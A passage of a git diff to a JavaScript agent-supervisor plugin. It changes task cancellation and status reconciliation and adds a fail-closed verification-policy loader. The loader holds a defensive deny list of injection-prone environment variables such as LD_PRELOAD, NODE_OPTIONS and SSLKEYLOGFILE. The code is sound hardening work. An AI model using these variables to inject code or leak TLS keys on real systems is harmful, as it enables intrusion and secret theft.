taskId), task); const identity = currentProcessIdentity(runtime); @@ -980,26 +1802,46 @@ export async function cancelTask(root, taskId, dependencies = {}) { await clearTaskLaunchReservation(root, taskId, task.launch_reservation?.token).catch(() => {}); if (runtime?.process_boundary) { try { - await (dependencies.stopBoundary ?? stopRuntimeBoundary)(runtime); + await (dependencies.stopBoundary ?? ((bound) => stopRuntimeBoundary(bound, dependencies)))(runtime); } catch (error) { - await recordManagedCleanup(root, task, dependencies.execute); - return updateTask(root, taskId, { + await recordManagedCleanup(root, task, dependencies.execute, { + requireInactiveEmpty: true, + boundaryState: 'unknown', + }); + return projectSupervisorTerminalReceipt(await updateTask(root, taskId, { status: 'transport_lost', error: { code: error?.code ?? 'cancel_incomplete', message: 'The owned local task cgroup could not be proven empty.' }, + })); + } + const inspection = await inspectRuntimeBoundary(runtime, dependencies); + if (!boundaryIsInactiveEmpty(inspection)) { + await recordManagedCleanup(root, task, dependencies.execute, { + requireInactiveEmpty: true, + boundaryState: inspection?.state === 'active' ? 'active' : 'unknown', }); + return projectSupervisorTerminalReceipt(await updateTask(root, taskId, { + status: 'transport_lost', + error: { + code: inspection?.code ?? 'cancel_incomplete', + message: 'The owned local task cgroup could not be proven empty.', + }, + })); } - await recordManagedCleanup(root, task, dependencies.execute); + await recordManagedCleanup(root, task, dependencies.execute, { + requireInactiveEmpty: true, + boundaryState: 'inactive_empty', + }); await appendTaskEvent(root, taskId, { type: 'terminal', status: 'cancelled', boundary: runtime.process_boundary.boundary }); - return updateTask(root, taskId, { status: 'cancelled', finished_at: new Date().toISOString() }); + return projectSupervisorTerminalReceipt(await updateTask(root, taskId, { status: 'cancelled', finished_at: new Date().toISOString() })); } if (!identity && !providerIdentity) { await recordManagedCleanup(root, task, dependencies.execute); await appendTaskEvent(root, taskId, { type: 'terminal', status: 'cancelled', reason: 'worker_not_running' }); - return updateTask(root, taskId, { + return projectSupervisorTerminalReceipt(await updateTask(root, taskId, { status: 'cancelled', error: { code: 'worker_not_running', message: 'Recorded worker was not running; no owned process remained to signal.' }, finished_at: new Date().toISOString(), - }); + })); } for (const owned of [providerIdentity, identity].filter(Boolean)) { try { process.kill(-owned.process_group, 'SIGTERM'); } catch (error) { if (error?.code !== 'ESRCH') throw error; } @@ -1016,20 +1858,21 @@ export async function cancelTask(root, taskId, dependencies = {}) { } if ((identity && processGroupAlive(identity.process_group)) || (providerIdentity && processGroupAlive(providerIdentity.process_group))) { await recordManagedCleanup(root, task, dependencies.execute); - return updateTask(root, taskId, { + return projectSupervisorTerminalReceipt(await updateTask(root, taskId, { status: 'transport_lost', error: { code: 'cancel_incomplete', message: 'Owned process group remained after SIGKILL.' }, - }); + })); } await recordManagedCleanup(root, task, dependencies.execute); await appendTaskEvent(root, taskId, { type: 'terminal', status: 'cancelled' }); - return updateTask(root, taskId, { status: 'cancelled', finished_at: new Date().toISOString() }); + return projectSupervisorTerminalReceipt(await updateTask(root, taskId, { status: 'cancelled', finished_at: new Date().toISOString() })); } export async function taskStatus(root, taskId, options = {}) { + const dependencies = options.dependencies ?? options; const { task: initialTask } = await readTask(root, taskId); const runtime = taskRuntime(await readRuntimeRecord(root, taskId), initialTask); - await reconcileInactiveTask(root, initialTask, runtime); + await reconcileInactiveTask(root, initialTask, runtime, dependencies); const view = resolveTaskView(options.view); const waited = await waitForTaskProgress(root, taskId, { cursor: options.cursor, @@ -1039,10 +1882,10 @@ export async function taskStatus(root, taskId, options = {}) { signal: options.signal, }); const latestRuntime = taskRuntime(await readRuntimeRecord(root, taskId), waited.task); - const task = await projectLiveLastEvent( + const task = projectSupervisorTerminalReceipt(await projectLiveLastEvent( root, - await reconcileInactiveTask(root, waited.task, latestRuntime), - ); + await reconcileInactiveTask(root, waited.task, latestRuntime, dependencies), + )); const progress = { ...waited.progress, last_event: task.last_event ?? waited.progress.last_event, @@ -1108,9 +1951,9 @@ export async function supervisorStatus(root = stateRoot(), dependencies = {}, op const tasksAll = await listTasks(root); for (let index = 0; index < tasksAll.length; index += 1) { const task = tasksAll[index]; - if (!ACTIVE.has(task.status)) continue; const runtime = taskRuntime(await readRuntimeRecord(root, task.id), task); - tasksAll[index] = await reconcileInactiveTask(root, task, runtime); + if (!ACTIVE.has(task.status) && !(STORED_TERMINAL.includes(task.status) && runtime?.process_boundary)) continue; + tasksAll[index] = await reconcileInactiveTask(root, task, runtime, dependencies); } const boundary = await localBoundaryReadiness(dependencies.probeBoundary); const readiness = await (dependencies.readProviderReadiness ?? providerReadiness)(); @@ -1135,7 +1978,7 @@ export async function supervisorStatus(root = stateRoot(), dependencies = {}, op mcp_pending_call: mcpPendingCallReport(), local_boundary: boundary, readiness, - tasks: await Promise.all(tasksAll.slice(0, 20).map((task) => projectLiveLastEvent(root, task))), + tasks: projectSupervisorTaskRecords(await Promise.all(tasksAll.slice(0, 20).map((task) => projectLiveLastEvent(root, task)))), }; } const detail = options.detail ?? 'full'; @@ -1160,9 +2003,9 @@ export async function supervisorStatus(root = stateRoot(), dependencies = {}, op const totalTasks = allTasks.length; for (let index = 0; index < allTasks.length; index += 1) { const task = allTasks[index]; - if (!ACTIVE.has(task.status)) continue; const runtime = taskRuntime(await readRuntimeRecord(root, task.id), task); - allTasks[index] = await reconcileInactiveTask(root, task, runtime); + if (!ACTIVE.has(task.status) && !(STORED_TERMINAL.includes(task.status) && runtime?.process_boundary)) continue; + allTasks[index] = await reconcileInactiveTask(root, task, runtime, dependencies); } const boundary = await localBoundaryReadiness(dependencies.probeBoundary); const readiness = await (dependencies.readProviderReadiness ?? providerReadiness)(); @@ -1182,6 +2025,7 @@ export async function supervisorStatus(root = stateRoot(), dependencies = {}, op if (detail === 'full') { windowTasks = await Promise.all(windowTasks.map((task) => projectLiveLastEvent(root, task))); } + windowTasks = projectSupervisorTaskRecords(windowTasks); } const result = { version: VERSION, @@ -1208,3 +2052,139 @@ export async function supervisorStatus(root = stateRoot(), dependencies = {}, op }; return detail === 'compact' ? projectCompactStatus(result) : result; } + +const runToolAdapters = new Map(); + +function liveTaskFns(root, contextByRun) { + return { + delegateTask: async (plan) => { + const ctx = contextByRun.get(plan.run_id) ?? {}; + const prompt = ctx.prompts?.[plan.assignment_id] ?? ctx.objective; + if (typeof prompt !== 'string' || prompt.trim().length === 0) { + fail('invalid_prompt', 'prompt must be non-empty text.'); + } + const role = plan.role === 'verify' ? 'review' : plan.role; + const input = { + task_id: plan.task_id, + provider: plan.provider, + repo: ctx.repository_path, + prompt, + role, + expected_duration_ms: Number.isInteger(ctx.durations?.[plan.assignment_id]) + ? ctx.durations[plan.assignment_id] + : 60_000, + workspace_mode: 'managed', + }; + if (plan.provider === 'dsh' + && (plan.model === 'stealth/ox-alpha' || plan.model === DEFAULT_DSH_MODEL)) { + input.dsh_model = plan.model; + } + if (plan.provider === 'cursor-cloud' && typeof plan.starting_ref === 'string') { + input.starting_ref = plan.starting_ref; + } + const result = await submitTask(input, { root }); + return { + task_id: result.task.id, + status: result.task.status, + cursor: '0', + }; + }, + inspectTask: async (plan) => { + const result = await inspectTask(root, { + task_id: plan.task_id, + ...(typeof plan.cursor === 'string' ? { cursor: plan.cursor } : {}), + }); + const projected = projectSupervisorTerminalReceipt(result.task); + return { + task_id: projected.id, + status: projected.status, + cursor: result.progress?.event_cursor ?? plan.cursor ?? '0', + attention: projected.status === 'needs_attention' ? (projected.attention ?? null) : null, + }; + }, + cancelTask: async (plan) => { + const task = await cancelTask(root, plan.task_id); + const projected = projectSupervisorTerminalReceipt(task); + return { + task_id: projected.id, + status: projected.status, + cancelled: projected.status === 'cancelled', + }; + }, + }; +} + +export async function createSupervisorRunToolAdapter(options = {}) { + if (options.adapter) return options.adapter; + const contextByRun = options.contextByRun ?? new Map(); + const root = options.root; + const fns = liveTaskFns(root, contextByRun); + const taskFns = { + delegateTask: options.delegateTask ?? fns.delegateTask, + inspectTask: options.inspectTask ?? fns.inspectTask, + cancelTask: options.cancelTaskFn ?? fns.cancelTask, + settleLocalTaskLifecycle: options.settleLocalTaskLifecycle ?? settleLocalTaskLifecycle, + cleanupLocalTaskLifecycle: options.cleanupLocalTaskLifecycle ?? cleanupLocalTaskLifecycle, + clock: options.clock ?? (() => new Date().toISOString()), + }; + const deliverSameSessionReply = options.deliverSameSessionReply + ?? ((identity) => deliverSupervisorSameSessionReplyV1(root, identity)); + const cancelSameSessionReply = options.cancelSameSessionReply + ?? ((identity) => cancelSupervisorSameSessionReplyV1(taskFns.cancelTask, identity)); + const seamOptions = { + ...taskFns, + deliverSameSessionReply, + cancelSameSessionReply, + }; + const seams = options.seams ?? ( + options.inProcess === true + ? createInProcessRunSeams(seamOptions) + : await createDurableRunSeams({ root, ...seamOptions }) + ); + const attention = seams.attention && typeof seams.attention.reply === 'function' + ? { + get: (...args) => seams.attention.get(...args), + ...(typeof seams.attention.latch === 'function' + ? { latch: (...args) => seams.attention.latch(...args) } + : {}), + reply: async (request) => seams.attention.reply({ + run_id: request.run_id, + batch_id: request.batch_id, + expected_revision: request.expected_revision, + reply: request.reply, + ...(request.now !== undefined ? { now: request.now } : {}), + deliver: request.deliver ?? deliverSameSessionReply, + cancel: request.cancel ?? cancelSameSessionReply, + }), + } + : seams.attention; + return createRunToolAdapter({ + runtime: seams.runtime, + attention, + projectLaneTask: projectSupervisorTerminalReceipt, + classifyLaneTask: classifySupervisorTerminalReceipt, + rememberSubmitContext: (context) => { + contextByRun.set(context.run_id, context); + }, + }); +} + +export async function supervisorRunToolAdapter(root, options = {}) { + if (options.adapter) return options.adapter; + const key = typeof root === 'string' ? root : ''; + let adapter = runToolAdapters.get(key); + if (!adapter) { + adapter = await createSupervisorRunToolAdapter({ root, ...options }); + runToolAdapters.set(key, adapter); + } + return adapter; +} + +export async function invokeRunTool(root, name, args, options = {}) { + const classified = classifyRunToolCall(name, args); + if (classified.mode === 'legacy') return classified; + const adapter = await supervisorRunToolAdapter(root, options); + return adapter.dispatch(name, args, { signal: options.signal }); +} + +export { classifyRunToolCall }; diff --git a/plugins/codex-co-engineer/mcp/v3/task-store.mjs b/plugins/codex-co-engineer/mcp/v3/task-store.mjs index fa1b828..94924b4 100644 --- a/plugins/codex-co-engineer/mcp/v3/task-store.mjs +++ b/plugins/codex-co-engineer/mcp/v3/task-store.mjs @@ -11,6 +11,7 @@ import { PROVIDER_SILENCE_WATCHDOG_MIN_MS, STORED_TERMINAL, TASK_TERMINAL_WATCH_FALLBACK_MS, + publicState, } from './contract.mjs'; import { parseDeadlineAt, remainingDeadlineMs } from './deadline.mjs'; @@ -1355,6 +1356,10 @@ export function parseTasksState(value) { return value; } +function matchesClassifiedTasksState(classifiedPublicState, stateFilter) { + return classifiedPublicState === stateFilter || classifiedPublicState === publicState(stateFilter); +} + // Keyset cursor: opaque base64 of JSON {v, ca, id, p, s, d} // Ordered by created_at DESC then id DESC. Cursor binds canonical provider/state/detail. function compareTaskToAnchor(task, anchor) { @@ -1454,8 +1459,11 @@ export async function listTasksPage(root = stateRoot(), options = {}) { let tasks = await listTasks(root); if (provider) tasks = tasks.filter((t) => t.provider === provider); if (stateFilter) { - const { publicState: ps } = await import('./contract.mjs'); - tasks = tasks.filter((t) => ps(t.status) === stateFilter || t.status === stateFilter); + // Classifier-derived public state is the membership key. Apply it before + // filter, total, keyset pagination, and slicing. Stored task.v1 bytes stay + // unmodified; a deferred import avoids a static cycle with supervisor.mjs. + const { projectSupervisorPublicState } = await import('./supervisor.mjs'); + tasks = tasks.filter((t) => matchesClassifiedTasksState(projectSupervisorPublicState(t), stateFilter)); } const total = tasks.length; // Apply keyset pagination diff --git a/plugins/codex-co-engineer/mcp/v3/trusted-verification-policy.mjs b/plugins/codex-co-engineer/mcp/v3/trusted-verification-policy.mjs new file mode 100644 index 0000000..7f235c1 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/trusted-verification-policy.mjs @@ -0,0 +1,1232 @@ +// VerificationPolicyV1 — versioned immutable trusted verification-policy +// schema plus the bounded owner-authored policy loader (ADR 0001 identifiers +// `verification_policy_v1_only_executable_catalog`, +// `codex_selects_approved_command_ids_only`, +// `manifests_carry_command_ids_not_argv`, +// `trusted_verification_policy_command_catalog`, +// `profiles_data_only`, +// `provider_commands_evidence_never_auto_executed`, +// `read_only_verification`, +// `gate_a_constrained_trusted_policy_command_execution`). +// +// Additive v3 module for W14-P16A. It owns one fail-closed question: is this +// a trusted owner-authored VerificationPolicyV1, or a command-id plus typed +// parameters selection that untrusted profiles/manifests/provider reports +// are allowed to name? It answers nothing else. This module never invokes a shell, +// never resolves PATH, never executes a command, never opens a network +// socket, never mutates a candidate, and does not implement the P16B +// approved-command resolver or the P16C runner. +// +// Owner policy binds each stable command ID to an absolute executable path, +// a fixed argv template, typed/bounded parameter domains, and explicit +// network, environment, mutation, timeout, and output policies. Absent +// capabilities materialize as exact default-deny receipts: no network, empty +// environment, no persistent mutation, and finite time/output caps. Identity +// is the validator-owned canonical snapshot, so omitting a capability and +// writing the deny receipt produce the same digest. +// +// Untrusted inputs may carry only `command_id` and typed parameters. Any +// executable path, argv fragment/template, shell text, environment name or +// value, network target, mutation permission, or resource limit is denied +// before values are interpreted. Failures are typed and content-free: they +// never echo attacker values, keys, paths, URLs, secrets, native messages, +// or stacks as diagnostics. +// +// Parsed results are fresh-owned, deeply frozen, detached snapshots. +// Callers' objects are neither mutated nor frozen. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { timingSafeEqual } from 'node:crypto'; +import { constants as fsConstants } from 'node:fs'; +import { homedir } from 'node:os'; +import path from 'node:path'; +import { lstat, open } from 'node:fs/promises'; + +import { + capturedCreate, + capturedDescriptor, + capturedFreeze, + capturedGetPrototypeOf, + capturedHasOwn, + capturedIncludes, + capturedIsArray, + capturedTest, + capturedUtf8ByteLength, + sortedCapturedKeys, +} from './grammar.mjs'; +import { + IDENTITY_DOMAIN, + IDENTITY_LABELS, + IDENTITY_VERSION, + canonicalJsonStringify, + identityDigestV1, +} from './identity.mjs'; +import { + COMMAND_ID_MAX, + MAX_TIMEOUT_MS, + MIN_DURATION_MS, + PARAMS_MAX_KEYS, + PARAM_VALUE_MAX_BYTES, + RunContractV1Error, + isCommandId, + isParamKey, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + hasOwn, + optOwn, + ownDataValue, +} from './selection-json.mjs'; + +export const VERIFICATION_POLICY_SCHEMA_ID = 'codex-co-engineer.verification-policy.v1'; +export const VERIFICATION_POLICY_VERSION = 1; +export const VERIFICATION_POLICY_DIGEST_LABEL = IDENTITY_LABELS.VERIFICATION_POLICY; +export const VERIFICATION_COMMAND_DIGEST_LABEL = IDENTITY_LABELS.VERIFICATION_COMMAND_DESCRIPTOR; +export const DIGEST_ALGORITHM = 'sha256'; +export const POLICY_DIGEST_HEX_LENGTH = 64; + +export const OWNER_POLICY_DIRNAME = 'codex-co-engineer'; +export const OWNER_POLICY_FILENAME = 'verification-policy.json'; + +export const MAX_POLICY_BYTES = 64 * 1024; +export const MAX_POLICY_DEPTH = 16; +export const MAX_POLICY_NODES = 1024; +export const MAX_POLICY_OBJECT_KEYS = 64; +export const MAX_POLICY_TOTAL_STRING_BYTES = 32_768; +export const MAX_POLICY_CANONICAL_BYTES = 65_536; +export const MAX_COMMANDS = 32; +export const MAX_ARGV_TOKENS = 32; +export const MAX_PARAMETERS = PARAMS_MAX_KEYS; +export const MAX_ENV_ENTRIES = 16; +export const MAX_NETWORK_HOSTS = 8; +export const MAX_ENUM_VALUES = 16; +export const MAX_EXECUTABLE_BYTES = 4096; +export const MAX_EXECUTABLE_SEGMENTS = 32; +export const MAX_ARGV_TOKEN_BYTES = 256; +export const MAX_ENV_NAME_BYTES = 64; +export const MAX_ENV_VALUE_BYTES = PARAM_VALUE_MAX_BYTES; +export const MAX_HOST_BYTES = 253; +export const MAX_PARAM_STRING_BYTES = PARAM_VALUE_MAX_BYTES; +export const DEFAULT_TIMEOUT_MS = 60_000; +export const DEFAULT_OUTPUT_BYTES = 65_536; +export const DEFAULT_ERROR_BYTES = 65_536; +export const MAX_OUTPUT_BYTES = 1_048_576; +export const MAX_ERROR_BYTES = 1_048_576; + +export const NETWORK_MODES = capturedFreeze(['allowlist', 'deny']); +export const MUTATION_WORKSPACES = capturedFreeze(['ephemeral', 'none']); +export const PARAMETER_TYPES = capturedFreeze([ + 'boolean', 'enum', 'integer', 'path_segment', 'string', +]); + +export const POLICY_ALLOWED_KEYS = capturedFreeze(['schema', 'version', 'commands']); +export const POLICY_REQUIRED_KEYS = POLICY_ALLOWED_KEYS; +export const COMMAND_ALLOWED_KEYS = capturedFreeze([ + 'argv_template', 'command_id', 'environment', 'executable', 'mutation', + 'network', 'parameters', 'resources', 'timeout_ms', +]); +export const COMMAND_REQUIRED_KEYS = capturedFreeze([ + 'argv_template', 'command_id', 'executable', +]); +export const COMMAND_RECEIPT_KEYS = capturedFreeze([ + 'argv_template', 'command_id', 'environment', 'executable', 'mutation', + 'network', 'parameters', 'resources', 'timeout_ms', +]); +export const UNTRUSTED_COMMAND_ALLOWED_KEYS = capturedFreeze(['command_id', 'parameters']); +export const NETWORK_ALLOWED_KEYS = capturedFreeze(['hosts', 'mode']); +export const ENVIRONMENT_ALLOWED_KEYS = capturedFreeze(['entries']); +export const ENV_ENTRY_ALLOWED_KEYS = capturedFreeze(['name', 'value']); +export const MUTATION_ALLOWED_KEYS = capturedFreeze(['persistent', 'workspace']); +export const RESOURCES_ALLOWED_KEYS = capturedFreeze(['max_error_bytes', 'max_output_bytes']); +export const STRING_DOMAIN_KEYS = capturedFreeze(['max_bytes', 'type']); +export const INTEGER_DOMAIN_KEYS = capturedFreeze(['max', 'min', 'type']); +export const BOOLEAN_DOMAIN_KEYS = capturedFreeze(['type']); +export const ENUM_DOMAIN_KEYS = capturedFreeze(['type', 'values']); +export const PATH_SEGMENT_DOMAIN_KEYS = capturedFreeze(['max_bytes', 'type']); +export const LOADER_OPTION_KEYS = capturedFreeze(['env', 'ownerConfigDir']); +export const LOADER_ENV_KEYS = capturedFreeze(['HOME', 'XDG_CONFIG_HOME']); + +export const DENIED_ENV_NAMES = capturedFreeze([ + 'BASH_ENV', 'CDPATH', 'ENV', 'GCONV_PATH', 'HOSTALIASES', 'IFS', + 'LD_AUDIT', 'LD_LIBRARY_PATH', 'LD_PRELOAD', 'LOCALDOMAIN', 'NODE_OPTIONS', + 'NODE_PATH', 'PATH', 'PERL5LIB', 'PYTHONPATH', 'SSLKEYLOGFILE', + 'SHELLOPTS', 'TERMINFO', 'TERMPATH', +]); + +export const VERIFICATION_POLICY_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', 'aliased_reference_denied', 'ambiguous_id_denied', + 'control_character_denied', 'duplicate_id', 'duplicate_parameter', + 'env_name_denied', 'executable_content_denied', 'exotic_prototype_denied', + 'invalid_array', 'invalid_encoding', 'invalid_format', 'invalid_json_type', + 'invalid_json_value', 'invalid_type', 'missing_key', + 'mutation_permission_denied', 'network_content_denied', + 'non_enumerable_property_denied', 'own_undefined_denied', 'out_of_range', + 'placeholder_unbound', 'policy_catalog_changed_during_read', + 'policy_catalog_not_owner_controlled', 'policy_catalog_not_regular', + 'policy_catalog_too_large', 'policy_catalog_unreadable', + 'policy_options_denied', 'proxy_denied', 'resource_limit_denied', + 'shell_content_denied', 'symbol_key_denied', 'unknown_key', + 'value_depth_exceeded', +]); + +const PRIVATE_COMMAND_ID_PATTERN = /^[a-z][a-z0-9._-]{0,63}$/u; +const PRIVATE_PARAM_KEY_PATTERN = /^[a-z][a-z0-9_-]{0,31}$/u; +const PRIVATE_PLACEHOLDER_PATTERN = /^\{[a-z][a-z0-9_-]{0,31}\}$/u; +const PRIVATE_ENV_NAME_PATTERN = /^[A-Z][A-Z0-9_]{0,62}$/u; +const PRIVATE_HOST_PATTERN = /^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?(\.[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?)*$/u; +const PRIVATE_SHA256_PATTERN = /^[0-9a-f]{64}$/u; +const PRIVATE_SEGMENT_PATTERN = /^[A-Za-z0-9._+-]+$/u; +const PRIVATE_LITERAL_PATTERN = /^[A-Za-z0-9._+/=:,@%-]+$/u; +const PRIVATE_PATH_SEGMENT_PATTERN = /^[A-Za-z0-9._+-]+$/u; +const PRIVATE_ENUM_VALUE_PATTERN = /^[A-Za-z0-9._+-]+$/u; + +export const COMMAND_ID_PATTERN = new RegExp( + PRIVATE_COMMAND_ID_PATTERN.source, PRIVATE_COMMAND_ID_PATTERN.flags, +); +export const PLACEHOLDER_PATTERN = new RegExp( + PRIVATE_PLACEHOLDER_PATTERN.source, PRIVATE_PLACEHOLDER_PATTERN.flags, +); + +const MESSAGES = capturedFreeze(Object.assign(capturedCreate(null), { + accessor_property_denied: 'An accessor property was denied; getters are never invoked.', + aliased_reference_denied: 'Aliased or cyclic references are denied.', + ambiguous_id_denied: 'Ambiguous Unicode, compatibility, or confusable identity text is denied.', + control_character_denied: 'Control, invisible, or bidi characters are denied.', + duplicate_id: 'A duplicate identity was denied instead of collapsed.', + duplicate_parameter: 'A duplicate parameter or placeholder binding was denied.', + env_name_denied: 'An environment name is outside the closed allowlist.', + executable_content_denied: 'Untrusted input must not contribute executable content.', + exotic_prototype_denied: 'Exotic prototypes are denied.', + invalid_array: 'Arrays must be dense JSON arrays without extended metadata.', + invalid_encoding: 'Text must be well-formed NFC/NFKC Unicode.', + invalid_format: 'A field violates the closed grammar.', + invalid_json_type: 'A non-JSON value was denied.', + invalid_json_value: 'A non-canonical JSON number or value was denied.', + invalid_type: 'A field has the wrong JSON type.', + missing_key: 'A required field is missing; trusted policy has no hidden grants.', + mutation_permission_denied: 'Untrusted input must not contribute mutation permissions.', + network_content_denied: 'Untrusted input must not contribute network targets.', + non_enumerable_property_denied: 'Non-enumerable properties are denied.', + own_undefined_denied: 'Own undefined values are denied; omit the field instead.', + out_of_range: 'A bounded integer, count, or size was exceeded.', + placeholder_unbound: 'An argv placeholder is not bound to a declared parameter.', + policy_catalog_changed_during_read: 'The owner policy catalog changed while it was read.', + policy_catalog_not_owner_controlled: 'The owner policy catalog must be owner-controlled.', + policy_catalog_not_regular: 'The owner policy catalog must be a regular non-symlink file.', + policy_catalog_too_large: 'The owner policy catalog exceeds the bounded size.', + policy_catalog_unreadable: 'The owner policy catalog could not be read safely.', + policy_options_denied: 'Loader options must be a closed direct-JSON object.', + proxy_denied: 'Live and revoked Proxies are denied.', + resource_limit_denied: 'Untrusted input must not contribute resource limits.', + shell_content_denied: 'Shell text, interpolation, or metacharacters are denied.', + symbol_key_denied: 'Symbol keys are denied.', + unknown_key: 'A key is outside the closed vocabulary.', + value_depth_exceeded: 'Nesting exceeds the bounded policy depth.', +})); + +const INVISIBLE_RANGES = capturedFreeze([ + [0x00ad, 0x00ad], + [0x061c, 0x061c], + [0x180e, 0x180e], + [0x200b, 0x200f], + [0x2028, 0x202e], + [0x2060, 0x2064], + [0x2066, 0x2069], + [0xfeff, 0xfeff], + [0xfff9, 0xfffb], + [0x1d173, 0x1d17a], + [0xe0001, 0xe0001], + [0xe0020, 0xe007f], +]); +const SEPARATOR_LOOKALIKES = capturedFreeze([ + 0x2044, 0x2215, 0x27cb, 0x27cd, 0x29f8, 0xfe68, 0xff0f, 0xff3c, +]); +const CONFUSABLE_HYPHENS = capturedFreeze([ + 0x00ad, 0x2010, 0x2011, 0x2012, 0x2013, 0x2014, 0x2015, 0x2212, 0xfe58, 0xfe63, 0xff0d, +]); + +const EXECUTABLE_FOLDS = capturedFreeze([ + 'args', 'argument', 'arguments', 'argv', 'argvtemplate', 'bin', 'binary', + 'cmd', 'cmdline', 'command', 'commandcatalog', 'commands', 'cwd', + 'entrypoint', 'exec', 'executable', 'interpreter', 'run', 'runner', + 'runnercommand', 'script', 'scripts', 'shell', 'shellcommand', 'template', + 'templates', 'verificationcommand', 'verificationpolicy', + 'verificationpolicyv1', 'workingdirectory', +]); +const ENVIRONMENT_FOLDS = capturedFreeze([ + 'dotenv', 'env', 'environ', 'environment', 'environmentallowlist', + 'envfile', 'envvar', 'envvars', +]); +const NETWORK_FOLDS = capturedFreeze([ + 'endpoint', 'host', 'hostname', 'hosts', 'network', 'uri', 'url', +]); +const MUTATION_FOLDS = capturedFreeze([ + 'filesystem', 'mutate', 'mutation', 'persist', 'persistent', 'write', +]); +const RESOURCE_FOLDS = capturedFreeze([ + 'cpulimit', 'maxerrorbytes', 'maxoutputbytes', 'memorylimit', 'pidslimit', + 'resource', 'resources', 'timeout', 'timeoutms', 'ulimit', +]); + +const OBJECT_DEFINE_PROPERTY = Object.defineProperty; +const OBJECT_IS = Object.is; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const NUMBER_IS_FINITE = Number.isFinite; +const REFLECT_APPLY = Reflect.apply; +const REFLECT_OWN_KEYS = Reflect.ownKeys; +const STRING = String; +const STRING_CHAR_CODE_AT = Function.prototype.call.bind(String.prototype.charCodeAt); +const STRING_CODE_POINT_AT = Function.prototype.call.bind(String.prototype.codePointAt); +const STRING_NORMALIZE = Function.prototype.call.bind(String.prototype.normalize); +const STRING_SLICE = Function.prototype.call.bind(String.prototype.slice); +const STRING_STARTS_WITH = Function.prototype.call.bind(String.prototype.startsWith); +const STRING_ENDS_WITH = Function.prototype.call.bind(String.prototype.endsWith); +const STRING_SPLIT = Function.prototype.call.bind(String.prototype.split); +const STRING_TO_LOWER_CASE = Function.prototype.call.bind(String.prototype.toLowerCase); +const STRING_REPLACE = Function.prototype.call.bind(String.prototype.replace); +const ARRAY_PUSH = Array.prototype.push; +const ARRAY_SORT = Function.prototype.call.bind(Array.prototype.sort); +const ARRAY_PROTOTYPE = Array.prototype; +const OBJECT_PROTOTYPE = Object.prototype; +const SET_CTOR = Set; +const SET_ADD = SET_CTOR.prototype.add; +const SET_HAS = SET_CTOR.prototype.has; +const JSON_PARSE = JSON.parse; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const BUFFER_BYTE_LENGTH = NodeBuffer.byteLength; +const TIMING_SAFE_EQUAL = timingSafeEqual; +const TEXT_DECODER = TextDecoder; +const TEXT_DECODER_DECODE = TextDecoder.prototype.decode; +const PATH_JOIN = path.join; +const PATH_RESOLVE = path.resolve; +const PATH_IS_ABSOLUTE = path.isAbsolute; +const OS_HOMEDIR = homedir; +const FS_OPEN = open; +const FS_LSTAT = lstat; + +function deny(code, path) { + fail(code, path, MESSAGES[code] ?? MESSAGES.invalid_format); +} + +function freezeRecord(keys, values) { + const snapshot = {}; + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (!capturedHasOwn(values, key)) continue; + OBJECT_DEFINE_PROPERTY(snapshot, key, { + value: values[key], enumerable: true, writable: false, configurable: false, + }); + } + return capturedFreeze(snapshot); +} + +function freezeList(values) { + const clone = []; + for (let index = 0; index < values.length; index += 1) { + ARRAY_PUSH.call(clone, values[index]); + } + return capturedFreeze(clone); +} + +function compareText(left, right) { + if (left === right) return 0; + return left < right ? -1 : 1; +} + +function foldKey(key) { + return STRING_REPLACE(STRING_TO_LOWER_CASE(STRING(key)), /[-_ ]+/gu, ''); +} + +function inRangeList(ranges, codePoint) { + for (let index = 0; index < ranges.length; index += 1) { + const range = ranges[index]; + if (codePoint >= range[0] && codePoint <= range[1]) return true; + } + return false; +} + +function includesCode(list, codePoint) { + for (let index = 0; index < list.length; index += 1) { + if (list[index] === codePoint) return true; + } + return false; +} + +function assertSafeText(value, path) { + if (typeof value !== 'string') deny('invalid_type', path); + let index = 0; + while (index < value.length) { + const codePoint = STRING_CODE_POINT_AT(value, index); + if (codePoint >= 0xd800 && codePoint <= 0xdfff) deny('invalid_encoding', path); + if (codePoint < 0x20 || (codePoint >= 0x7f && codePoint <= 0x9f)) { + deny('control_character_denied', path); + } + if (inRangeList(INVISIBLE_RANGES, codePoint)) deny('control_character_denied', path); + if (includesCode(SEPARATOR_LOOKALIKES, codePoint)) deny('ambiguous_id_denied', path); + if (includesCode(CONFUSABLE_HYPHENS, codePoint)) deny('ambiguous_id_denied', path); + if (codePoint > 0x7e) deny('ambiguous_id_denied', path); + index += codePoint > 0xffff ? 2 : 1; + } + let nfc; + let nfkc; + try { + nfc = STRING_NORMALIZE(value, 'NFC'); + nfkc = STRING_NORMALIZE(value, 'NFKC'); + } catch { + deny('invalid_encoding', path); + } + if (nfc !== value || nfkc !== value) deny('ambiguous_id_denied', path); + return value; +} + +function assertBoundedString(value, path, maxBytes) { + assertSafeText(value, path); + const bytes = capturedUtf8ByteLength(value); + if (bytes < 1 || bytes > maxBytes) deny('out_of_range', path); + return value; +} + +function assertCommandId(value, path) { + assertSafeText(value, path); + if (!isCommandId(value) || capturedUtf8ByteLength(value) > COMMAND_ID_MAX + || !capturedTest(PRIVATE_COMMAND_ID_PATTERN, value)) { + deny('invalid_format', path); + } + return value; +} + +function assertParamName(value, path) { + assertSafeText(value, path); + if (!isParamKey(value) || !capturedTest(PRIVATE_PARAM_KEY_PATTERN, value)) { + deny('invalid_format', path); + } + return value; +} + +function assertSafeInteger(value, path, min, max) { + if (typeof value !== 'number' || !NUMBER_IS_SAFE_INTEGER(value) || !NUMBER_IS_FINITE(value) + || OBJECT_IS(value, -0)) { + deny('invalid_type', path); + } + if (value < min || value > max) deny('out_of_range', path); + return value; +} + +function ownKeysOrDeny(value, path) { + let keys; + try { + keys = REFLECT_OWN_KEYS(value); + } catch { + deny('invalid_type', path); + } + return keys; +} + +function classifyUntrustedKey(key) { + if (key === 'command_id' || key === 'parameters') return null; + const folded = foldKey(key); + if (folded === 'commandid' || folded === 'parameters') return 'unknown_key'; + if (capturedIncludes(EXECUTABLE_FOLDS, folded)) return 